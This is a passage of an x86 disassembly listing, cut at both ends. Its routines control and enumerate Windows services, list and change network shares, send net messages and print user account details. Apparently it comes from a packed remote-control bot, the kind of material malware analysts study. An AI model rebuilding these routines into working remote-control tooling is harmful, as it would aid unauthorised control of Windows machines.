var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call dword_4280D0 ; GetVersionExA
cmp [ebp+var_90], 4
jnz short loc_418C74
cmp [ebp+var_8C], 0
jnz loc_418CFE
xor eax, eax
inc eax
cmp [ebp+var_84], eax
jz locret_418CFC
loc_418C74: ; CODE XREF: sub_418C2F+27j
; sub_418C2F+DFj
push esi
push edi
push offset aNetapi32_dll ; "netapi32.dll"
call dword_4280C0 ; LoadLibraryA
mov esi, eax
push offset aNetmessagebuff ; "NetMessageBufferSend"
push esi
call dword_4280C4 ; GetProcAddress
push 32h
mov edi, eax
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_41DED4
push 32h
lea eax, [ebp+var_15C]
push [ebp+arg_4]
push eax
call sub_41DED4
push 32h
lea eax, [ebp+var_F8]
push [ebp+arg_8]
push eax
call sub_41DED4
lea eax, [ebp+var_F8]
push eax
call sub_41DEB7
add eax, eax
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_1C0]
push eax
push 0
call edi ; GetProcessHeap
add esp, 3Ch
mov edi, eax
push esi
call dword_428148 ; FreeLibrary
mov eax, edi
pop edi
pop esi
locret_418CFC: ; CODE XREF: sub_418C2F+3Fj
leave
retn
; ---------------------------------------------------------------------------
loc_418CFE: ; CODE XREF: sub_418C2F+30j
cmp [ebp+var_8C], 0Ah
jz short loc_418D14
cmp [ebp+var_8C], 5Ah
jnz loc_418C74
loc_418D14: ; CODE XREF: sub_418C2F+D6j
xor eax, eax
inc eax
leave
retn
sub_418C2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418D19 proc near ; CODE XREF: sub_40111A+F7p
; sub_40F3EE+Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call dword_4280B0 ; GetTickCount
push eax
call sub_41BF48
pop ecx
call sub_41BF52
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_4286E8
call sub_41CE04
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_418D19 endp
; =============== S U B R O U T I N E =======================================
sub_418D56 proc near ; CODE XREF: sub_401AA1:loc_405F46p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_418DBB
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_43B9E8[esi]
push edi
push eax
call sub_418DDD
add esp, 14h
test eax, eax
jnz short loc_418D9E
push edi
push off_43B9E4[esi]
mov esi, offset dword_4DE348
push offset unk_43BAF8
push esi
call sub_41BEF6
add esp, 10h
jmp short loc_418DD8
; ---------------------------------------------------------------------------
loc_418D9E: ; CODE XREF: sub_418D56+2Aj
push eax
call sub_418E7F
push eax
push edi
mov esi, offset dword_4DE348
push offset unk_43BACC
push esi
call sub_41BEF6
add esp, 14h
jmp short loc_418DD8
; ---------------------------------------------------------------------------
loc_418DBB: ; CODE XREF: sub_418D56+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4DE348
push off_43B9E0[eax*4]
push offset unk_43BAA8
push esi
call sub_41BEF6
add esp, 0Ch
loc_418DD8: ; CODE XREF: sub_418D56+46j
; sub_418D56+63j
mov eax, esi
pop edi
pop esi
retn
sub_418D56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418DDD proc near ; CODE XREF: sub_418D56+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4CE2FC ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_418E04
call dword_428094 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_418E79
; ---------------------------------------------------------------------------
loc_418E04: ; CODE XREF: sub_418DDD+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4CE1E4 ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_418E24
call dword_428094 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_418E71
; ---------------------------------------------------------------------------
loc_418E24: ; CODE XREF: sub_418DDD+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_418E57
cmp eax, 3
jz short loc_418E48
jle short loc_418E6A
cmp eax, 6
jg short loc_418E6A
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4CE250 ; ControlService
jmp short loc_418E5E
; ---------------------------------------------------------------------------
loc_418E48: ; CODE XREF: sub_418DDD+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4CE1EC ; StartServiceA
jmp short loc_418E5E
; ---------------------------------------------------------------------------
loc_418E57: ; CODE XREF: sub_418DDD+4Dj
push esi
call dword_4CE254 ; DeleteService
loc_418E5E: ; CODE XREF: sub_418DDD+69j
; sub_418DDD+78j
test eax, eax
jnz short loc_418E6A
call dword_428094 ; RtlGetLastWin32Error
mov ebx, eax
loc_418E6A: ; CODE XREF: sub_418DDD+54j
; sub_418DDD+59j ...
push esi
call dword_4CE200 ; CloseServiceHandle
loc_418E71: ; CODE XREF: sub_418DDD+45j
push edi
call dword_4CE200 ; CloseServiceHandle
pop esi
loc_418E79: ; CODE XREF: sub_418DDD+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_418DDD endp
; =============== S U B R O U T I N E =======================================
sub_418E7F proc near ; CODE XREF: sub_418D56+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_418F34
jz loc_418F2D
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_418EF7
jz short loc_418EED
mov ecx, eax
sub ecx, 3
jz short loc_418EE3
dec ecx
dec ecx
jz short loc_418ED9
dec ecx
jz short loc_418ECF
sub ecx, 51h
jz short loc_418EC5
sub ecx, 24h
jnz loc_418FAA ; default
; jumptable 00418F51 cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_418F9C
; ---------------------------------------------------------------------------
loc_418EC5: ; CODE XREF: sub_418E7F+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_418F9C
; ---------------------------------------------------------------------------
loc_418ECF: ; CODE XREF: sub_418E7F+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_418F9C
; ---------------------------------------------------------------------------
loc_418ED9: ; CODE XREF: sub_418E7F+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_418F9C
; ---------------------------------------------------------------------------
loc_418EE3: ; CODE XREF: sub_418E7F+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_418F9C
; ---------------------------------------------------------------------------
loc_418EED: ; CODE XREF: sub_418E7F+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_418F9C
; ---------------------------------------------------------------------------
loc_418EF7: ; CODE XREF: sub_418E7F+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_418F26
dec ecx
jz short loc_418F1F
dec ecx
jz short loc_418F18
dec ecx
jnz loc_418FAA ; default
; jumptable 00418F51 cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_418F9C
; ---------------------------------------------------------------------------
loc_418F18: ; CODE XREF: sub_418E7F+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_418F9C
; ---------------------------------------------------------------------------
loc_418F1F: ; CODE XREF: sub_418E7F+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_418F9C
; ---------------------------------------------------------------------------
loc_418F26: ; CODE XREF: sub_418E7F+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_418F9C
; ---------------------------------------------------------------------------
loc_418F2D: ; CODE XREF: sub_418E7F+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_418F9C
; ---------------------------------------------------------------------------
loc_418F34: ; CODE XREF: sub_418E7F+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_418FAA ; default
; jumptable 00418F51 cases 1,5,6,8,9,12,13,15,16
jz short loc_418F97
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_418FAA ; default
; jumptable 00418F51 cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_418FEB[ecx]
jmp off_418FC3[ecx*4] ; switch jump
loc_418F58: ; DATA XREF: .XPack0:off_418FC3o
push offset aTheSpecifiedDa ; jumptable 00418F51 case 7
jmp short loc_418F9C
; ---------------------------------------------------------------------------
loc_418F5F: ; CODE XREF: sub_418E7F+D2j
; DATA XREF: .XPack0:off_418FC3o
push offset aTheServiceDepe ; jumptable 00418F51 case 17
jmp short loc_418F9C
; ---------------------------------------------------------------------------
loc_418F66: ; CODE XREF: sub_418E7F+D2j
; DATA XREF: .XPack0:off_418FC3o
push offset aTheServiceDe_0 ; jumptable 00418F51 case 10
jmp short loc_418F9C
; ---------------------------------------------------------------------------
loc_418F6D: ; CODE XREF: sub_418E7F+D2j
; DATA XREF: .XPack0:off_418FC3o
push offset aTheServiceHasB ; jumptable 00418F51 case 0
jmp short loc_418F9C
; ---------------------------------------------------------------------------
loc_418F74: ; CODE XREF: sub_418E7F+D2j
; DATA XREF: .XPack0:off_418FC3o
push offset aTheSpecified_0 ; jumptable 00418F51 case 2
jmp short loc_418F9C
; ---------------------------------------------------------------------------
loc_418F7B: ; CODE XREF: sub_418E7F+D2j
; DATA XREF: .XPack0:off_418FC3o
push offset aTheServiceCoul ; jumptable 00418F51 case 11
jmp short loc_418F9C
; ---------------------------------------------------------------------------
loc_418F82: ; CODE XREF: sub_418E7F+D2j
; DATA XREF: .XPack0:off_418FC3o
push offset aTheServiceHa_0 ; jumptable 00418F51 case 14
jmp short loc_418F9C
; ---------------------------------------------------------------------------
loc_418F89: ; CODE XREF: sub_418E7F+D2j
; DATA XREF: .XPack0:off_418FC3o
push offset aTheRequested_1 ; jumptable 00418F51 case 3
jmp short loc_418F9C
; ---------------------------------------------------------------------------
loc_418F90: ; CODE XREF: sub_418E7F+D2j
; DATA XREF: .XPack0:off_418FC3o
push offset aTheServiceHasN ; jumptable 00418F51 case 4
jmp short loc_418F9C
; ---------------------------------------------------------------------------
loc_418F97: ; CODE XREF: sub_418E7F+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_418F9C: ; CODE XREF: sub_418E7F+41j
; sub_418E7F+4Bj ...
push offset dword_4DDC78
call sub_41BEF6
pop ecx
pop ecx
jmp short loc_418FBD
; ---------------------------------------------------------------------------
loc_418FAA: ; CODE XREF: sub_418E7F+36j
; sub_418E7F+89j ...
push eax ; default
; jumptable 00418F51 cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4DDC78
call sub_41BEF6
add esp, 0Ch
loc_418FBD: ; CODE XREF: sub_418E7F+129j
mov eax, offset dword_4DDC78
retn
sub_418E7F endp
; ---------------------------------------------------------------------------
off_418FC3 dd offset loc_418F6D ; DATA XREF: sub_418E7F+D2r
dd offset loc_418F74 ; jump table for switch statement
dd offset loc_418F89
dd offset loc_418F90
dd offset loc_418F58
dd offset loc_418F66
dd offset loc_418F7B
dd offset loc_418F82
dd offset loc_418F5F
dd offset loc_418FAA
byte_418FEB db 0, 9, 1, 2 ; DATA XREF: sub_418E7F+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418FFD proc near ; CODE XREF: sub_401AA1+44D0p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4CE2FC ; OpenSCManagerA
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 14h
loc_419035: ; CODE XREF: sub_418FFD+123j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4CE2C8 ; EnumServicesStatusA
test eax, eax
jnz short loc_41906F
call dword_428094 ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_419126
loc_41906F: ; CODE XREF: sub_418FFD+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_41911D
lea esi, [ebp+var_188]
loc_419080: ; CODE XREF: sub_418FFD+11Aj
mov eax, [esi+8]
dec eax
jz short loc_4190CC
dec eax
jz short loc_4190C5
dec eax
jz short loc_4190BE
dec eax
jz short loc_4190B7
dec eax
jz short loc_4190B0
dec eax
jz short loc_4190A9
dec eax
lea eax, [ebp+var_20]
jz short loc_4190A2
push offset aUnknown_0 ; " Unknown"
jmp short loc_4190D4
; ---------------------------------------------------------------------------
loc_4190A2: ; CODE XREF: sub_418FFD+9Cj
push offset aPaused_0 ; " Paused"
jmp short loc_4190D4
; ---------------------------------------------------------------------------
loc_4190A9: ; CODE XREF: sub_418FFD+96j
push offset aPausing ; " Pausing"
jmp short loc_4190D1
; ---------------------------------------------------------------------------
loc_4190B0: ; CODE XREF: sub_418FFD+93j
push offset aContinuing ; " Continuing"
jmp short loc_4190D1
; ---------------------------------------------------------------------------
loc_4190B7: ; CODE XREF: sub_418FFD+90j
push offset aRunning ; " Running"
jmp short loc_4190D1
; ---------------------------------------------------------------------------
loc_4190BE: ; CODE XREF: sub_418FFD+8Dj
push offset aStoping ; " Stoping"
jmp short loc_4190D1
; ---------------------------------------------------------------------------
loc_4190C5: ; CODE XREF: sub_418FFD+8Aj
push offset aStarting ; " Starting"
jmp short loc_4190D1
; ---------------------------------------------------------------------------
loc_4190CC: ; CODE XREF: sub_418FFD+87j
push offset aStopped ; " Stopped"
loc_4190D1: ; CODE XREF: sub_418FFD+B1j
; sub_418FFD+B8j ...
lea eax, [ebp+var_20]
loc_4190D4: ; CODE XREF: sub_418FFD+A3j
; sub_418FFD+AAj
push eax
call sub_41BEF6
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_419080
loc_41911D: ; CODE XREF: sub_418FFD+77j
cmp [ebp+var_8], ebx
jnz loc_419035
loc_419126: ; CODE XREF: sub_418FFD+6Cj
push [ebp+var_C]
call dword_4CE200 ; CloseServiceHandle
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_418FFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41913D proc near ; CODE XREF: sub_401AA1:loc_406031p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_4191D6
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_419166
dec eax
jnz short loc_4191B6
push edi
push 0
call sub_41930F
pop ecx
pop ecx
jmp short loc_4191B2
; ---------------------------------------------------------------------------
loc_419166: ; CODE XREF: sub_41913D+18j
cmp [ebp+arg_8], 0
jnz short loc_4191A4
push 24h
push edi
call sub_41C620
pop ecx
test eax, eax
pop ecx
jnz short loc_4191A4
push 57h
pop eax
loc_41917D: ; CODE XREF: sub_41913D+77j
push eax
call sub_419ADD
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DDF40
push off_43B9E0[eax*4]
push offset unk_43C09C
push esi
call sub_41BEF6
add esp, 18h
jmp short loc_4191F6
; ---------------------------------------------------------------------------
loc_4191A4: ; CODE XREF: sub_41913D+2Dj
; sub_41913D+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_419263
add esp, 0Ch
loc_4191B2: ; CODE XREF: sub_41913D+27j
test eax, eax
jnz short loc_41917D
loc_4191B6: ; CODE XREF: sub_41913D+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DDF40
push off_43B9E4[eax*4]
push offset dword_43C080
push esi
call sub_41BEF6
add esp, 10h
jmp short loc_4191F6
; ---------------------------------------------------------------------------
loc_4191D6: ; CODE XREF: sub_41913D+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DDF40
lea eax, [eax+eax*2]
push off_43B9E0[eax*4]
push offset unk_43C05C
push esi
call sub_41BEF6
add esp, 0Ch
loc_4191F6: ; CODE XREF: sub_41913D+65j
; sub_41913D+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_41913D endp
; =============== S U B R O U T I N E =======================================
sub_4191FC proc near ; CODE XREF: sub_41A4EB+247p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_419209
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_419209: ; CODE XREF: sub_4191FC+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_42818C
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; WideCharToMultiByte
test byte_4DE140, 1
mov ebp, eax
jnz short loc_419246
or byte_4DE140, 1
lea eax, [ebp+1]
push eax
call sub_41D635
pop ecx
mov dword_4DDED8, eax
loc_419246: ; CODE XREF: sub_4191FC+32j
push esi
push esi
push ebp
push dword_4DDED8
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, dword_4DDED8
pop edi
pop ebp
pop ebx
pop esi
retn
sub_4191FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419263 proc near ; CODE XREF: sub_41913D+6Dp
; sub_41A811+18Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_4192CE
push [ebp+arg_4]
mov edi, eax
call sub_4192CE
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_41C620
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_4192CE
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4CE1FC
pop edi
leave
retn
sub_419263 endp
; =============== S U B R O U T I N E =======================================
sub_4192CE proc near ; CODE XREF: sub_419263+Ap
; sub_419263+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_4192DB
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4192DB: ; CODE XREF: sub_4192CE+9j
push ebx
push esi
mov esi, dword_4280E8
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_41D635
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_4192CE endp
; =============== S U B R O U T I N E =======================================
sub_41930F proc near ; CODE XREF: sub_41913D+20p
; sub_41A4EB+1BCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_4192CE
push [esp+8+arg_4]
mov esi, eax
call sub_4192CE
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4CE1D4
pop esi
retn
sub_41930F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419332 proc near ; CODE XREF: sub_401AA1+45BCp
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_4192CE
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 18h
loc_41936B: ; CODE XREF: sub_419332+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_4CE24C
mov ebx, eax
cmp ebx, esi
jz short loc_4193CE
cmp ebx, 0EAh
jz short loc_4193CE
push ebx
push ebx
call sub_419ADD
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_43C0E8
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 24h
jmp short loc_41943B
; ---------------------------------------------------------------------------
loc_4193CE: ; CODE XREF: sub_419332+5Dj
; sub_419332+65j
xor edi, edi
inc edi
cmp [ebp+arg_C], edi
jb short loc_419432
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_4193DC: ; CODE XREF: sub_419332+FCj
push dword ptr [esi+10h]
call dword_4CE1F0 ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_4193F3
mov eax, offset aNo ; "No"
loc_4193F3: ; CODE XREF: sub_419332+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_4193DC
xor esi, esi
loc_419432: ; CODE XREF: sub_419332+A2j
push [ebp+var_4]
call dword_4CE398
loc_41943B: ; CODE XREF: sub_419332+9Aj
cmp ebx, 0EAh
jz loc_41936B
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_419332 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419453 proc near ; CODE XREF: sub_401AA1:loc_4060CDp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_4194F7
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_419495
dec eax
jz short loc_41948A
dec eax
jnz short loc_4194B0
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_419599
add esp, 14h
jmp short loc_4194AC
; ---------------------------------------------------------------------------
loc_41948A: ; CODE XREF: sub_419453+1Dj
push ebx
push edi
call sub_419578
pop ecx
pop ecx
jmp short loc_4194AC
; ---------------------------------------------------------------------------
loc_419495: ; CODE XREF: sub_419453+1Aj
cmp [ebp+arg_8], edi
jz short loc_4194A9
push [ebp+arg_8]
push ebx
push edi
call sub_41951E
add esp, 0Ch
jmp short loc_4194AC
; ---------------------------------------------------------------------------
loc_4194A9: ; CODE XREF: sub_419453+45j
push 57h
pop eax
loc_4194AC: ; CODE XREF: sub_419453+35j
; sub_419453+40j ...
cmp eax, edi
jnz short loc_4194D0
loc_4194B0: ; CODE XREF: sub_419453+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DE148
push off_43B9E4[eax*4]
push offset unk_43C1A0
push esi
call sub_41BEF6
add esp, 10h
jmp short loc_419517
; ---------------------------------------------------------------------------
loc_4194D0: ; CODE XREF: sub_419453+5Bj
push eax
call sub_419ADD
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DE148
push off_43B9E0[eax*4]
push offset unk_43C170
push esi
call sub_41BEF6
add esp, 18h
jmp short loc_419517
; ---------------------------------------------------------------------------
loc_4194F7: ; CODE XREF: sub_419453+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DE148
lea eax, [eax+eax*2]
push off_43B9E0[eax*4]
push offset unk_43C148
push esi
call sub_41BEF6
add esp, 0Ch
loc_419517: ; CODE XREF: sub_419453+7Bj
; sub_419453+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_419453 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41951E proc near ; CODE XREF: sub_419453+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_4192CE
push [ebp+arg_4]
mov edi, eax
call sub_4192CE
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_4192CE
add esp, 0Ch
and [ebp+var_14], 0
and [ebp+var_10], 0
and [ebp+var_8], 0
lea ecx, [ebp+var_4]
mov [ebp+var_20], eax
xor eax, eax
push ecx
lea ecx, [ebp+var_24]
inc eax
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4CE1E0
pop edi
leave
retn
sub_41951E endp
; =============== S U B R O U T I N E =======================================
sub_419578 proc near ; CODE XREF: sub_419453+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_4192CE
push [esp+8+arg_4]
mov esi, eax
call sub_4192CE
pop ecx
pop ecx
push eax
push esi
call dword_4CE1D0
pop esi
retn
sub_419578 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419599 proc near ; CODE XREF: sub_419453+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_4192CE
push [ebp+arg_4]
mov esi, eax
call sub_4192CE
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4CE360
test eax, eax
mov [ebp+arg_0], eax
jnz loc_419926
mov eax, [ebp+var_4]
test eax, eax
jz loc_419961
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_41BEF6
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409743
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409743
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409743
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409743
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_4196B2
dec eax
jz short loc_4196AB
